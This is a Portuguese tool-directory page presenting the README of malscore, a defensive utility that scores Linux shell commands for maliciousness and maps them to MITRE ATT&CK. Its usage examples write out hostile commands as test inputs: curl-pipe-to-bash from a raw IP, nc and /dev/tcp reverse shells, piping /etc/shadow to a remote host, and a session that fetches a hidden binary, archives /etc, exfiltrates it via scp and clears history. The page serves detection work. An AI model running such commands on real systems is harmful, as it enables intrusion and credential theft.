Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
malscore — Pontuação de maliciosidade para comandos Linux | Kitploit
Ferramentas/GitHubGitHub/raj3shp/malscore
Ferramentas DefensivasAnálise EstáticaScripting e AutomaçãoAnálise de MalwareInteligência de AmeaçasResposta a IncidentesDetecção de AnomaliasAnálise de Logs
GitHubraj3shp/malscore

malscore

Pontuação de maliciosidade para comandos Linux

Ver Repositório
917há 10h 37mAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

🦠 malscore

PyPI version Python 3.8+ License: Apache-2.0 Zero dependencies MITRE ATT&CK mapped

malscore recebe uma linha de comando Linux, ou uma sessão de comandos como um histórico de shell, e retorna uma pontuação de maliciosidade de 0–100 com uma faixa de veredito e mapeamento MITRE ATT&CK:

command(s) → features → signals → score + MITRE mapping

Ele nunca executa, expande ou resolve nada — apenas lê o texto (garantido por tests/test_safety.py). Não tem dependências além da biblioteca padrão do Python (3.8+).


Instalação

pip install malscore       # provides the `malscore` command

A partir de um checkout do código-fonte:

pip install .              # or run without installing, from the repo root:
python3 -m malscore "<command>"

Início Rápido

# one command
malscore "curl -s http://45.33.2.1/x.sh | bash"

# the command from stdin
echo "nc -e /bin/sh 10.0.0.1 4444" | malscore -

# a session: one command per line, scored individually and across commands
malscore --session history.txt
history | cut -c8- | malscore --session -

# every command in a telemetry feed, high or worse only
malscore --batch events.jsonl --min-verdict high

# full evidence with MITRE technique ids
malscore "bash -i >& /dev/tcp/1.2.3.4/4444 0>&1" --explain

# machine-readable
malscore --session history.txt --json

# gate use: exit code 2 when the verdict is high or critical
malscore --session history.txt --fail-on high

API Python

from malscore import Analyzer

a = Analyzer()
r = a.assess_command("curl -s http://1.2.3.4/x.sh | bash")
print(r.score, r.verdict)                 # 67 high
print([h.id for h in r.hits])             # ['download_pipe_interpreter', 'raw_ip_url', ...]
print(r.techniques)                       # ['T1059.004', 'T1105', 'T1071.001']

r = a.assess_session(["curl -o /tmp/p http://1.2.3.4/p", "/tmp/p"])
print(r.score, [h.id for h in r.hits])    # 75 ['staged_download_execution', ...]
print([c.score for c in r.per_command])   # each command's own assessment
print(r.as_dict())                        # JSON-ready

Analyzer(redact=True) oculta valores que aparentam ser credenciais antes que qualquer texto de comando seja ecoado de volta; as pontuações não são afetadas.


Exemplos:

$ malscore "sudo cat /etc/shadow | nc 45.33.2.1 9001" --explain
██████████████████████░░  score  91/100  CRITICAL
  tactics: exfiltration, credential-access, command-and-control

  evidence:
    [0.60] exfiltration           Credential material is sent over the network
           T1552 T1041
    [0.55] credential-access      The password hash database (/etc/shadow) is accessed
           T1003.008
    [0.35] exfiltration           Data is sent over a raw socket
           T1048
    ...

$ cat history.txt
cd /tmp
curl -s -o /tmp/.x http://45.33.2.1/x
chmod +x /tmp/.x
/tmp/.x
tar czf /tmp/etc.tgz /etc
scp /tmp/etc.tgz [email protected]:/srv/
history -c

$ malscore --session history.txt
████████████████████████  score  99/100  CRITICAL
  history.txt
  tactics: execution, defense-evasion, exfiltration, command-and-control, collection

  7 command(s), 6 flagged:
    ████████████░░░░░░░░░░░░ L2     49 medium   curl -s -o /tmp/.x http://45.33.2.1/x
    ███████░░░░░░░░░░░░░░░░░ L3     30 low      chmod +x /tmp/.x
    ███████░░░░░░░░░░░░░░░░░ L4     30 low      /tmp/.x
    ██████░░░░░░░░░░░░░░░░░░ L5     25 low      tar czf /tmp/etc.tgz /etc
    ████████░░░░░░░░░░░░░░░░ L6     35 medium   scp /tmp/etc.tgz [email protected]:/srv/
    ████████████░░░░░░░░░░░░ L7     50 medium   history -c
  signals: staged_download_execution, history_cleared, collect_then_exfiltrate, upload_public_ip, multi_stage, hidden_temp_path ...

Em um arquivo de sessão, cada linha não vazia é um comando, interpretado literalmente: não há tratamento de comentários, continuações de linha ou here-documents. --batch é diferente: ele pontua cada comando de um feed JSON de forma independente, sem análise entre comandos.


Faixas de veredito

pontuaçãovereditosignificado
80–100criticala forma raramente é legítima (reverse shell, apagamento de disco, conta uid‑0)
60–79highevidência forte; revisar prontamente
35–59mediumsuspeito na maioria dos contextos (curl‑pipe‑shell, leitura de shadow)
15–34lowvale a pena notar em combinação
0–14benignrotineiro

As faixas e os pesos são um ponto de partida ajustado manualmente, não um modelo treinado — cada ponto da pontuação remete a um sinal nomeado e a uma técnica MITRE ATT&CK.


Como a pontuação é construída

  1. Features. O comando é analisado lexicalmente (sem executar nada), wrappers como sudo/env/xargs são desembrulhados, substituições e payloads de -c são percorridos, e features determinísticas são computadas — cadeias de download, caminhos acessados, superfícies de persistência, truques de codificação, e um grupo tradecraft (malscore/tradecraft.py) que reconhece técnicas específicas de atacantes pela forma.
  2. Signals. malscore/signals.py é um catálogo de ~120 sinais nomeados: um predicado sobre o registro de features, um peso em (0, 1], uma tática MITRE e ids de técnica. Um peso é lido como "quão provável é que isto seja hostil se fosse a única coisa que soubéssemos". O catálogo abrange, por tática ATT&CK:
    • execution — interpretador a partir de um download, payloads decodificados, upgrades de TTY, execução fileless a partir de /proc/self/fd;
    • credential access — /etc/shadow e chaves privadas, metadados de nuvem, buscas por palavras-chave de credenciais em arquivos de configuração, leituras de .pgpass/.netrc/arquivos de credenciais de nuvem, scraping de ambiente e histórico, sequestro de SSH-agent;
    • privilege escalation — reverse shells, edições de sudoers, setuid, escape de container, shells root interativos, escapes de shell via GTFOBins, o bypass sudo -u#-1, hijacks de PATH;
    • collection / exfiltration — arquivos e dumps de banco de dados, acesso a tabelas ou arquivos que contêm números de cartão / tokens / dados de clientes, buscas por regex de números de cartão e SSNs, exfiltração via DNS e codificada, serviços de paste/webhook;
    • defense evasion — adulteração de histórico e logs, desativação de EDR/auditoria, limpeza de flags imutáveis, ocultação por bind-mount de /proc;
    • persistence / impact — cron, systemd, hooks de login, apagamento de disco, fork bombs, miners, DROP TABLE, encerramento em massa de processos.
Baixar ferramenta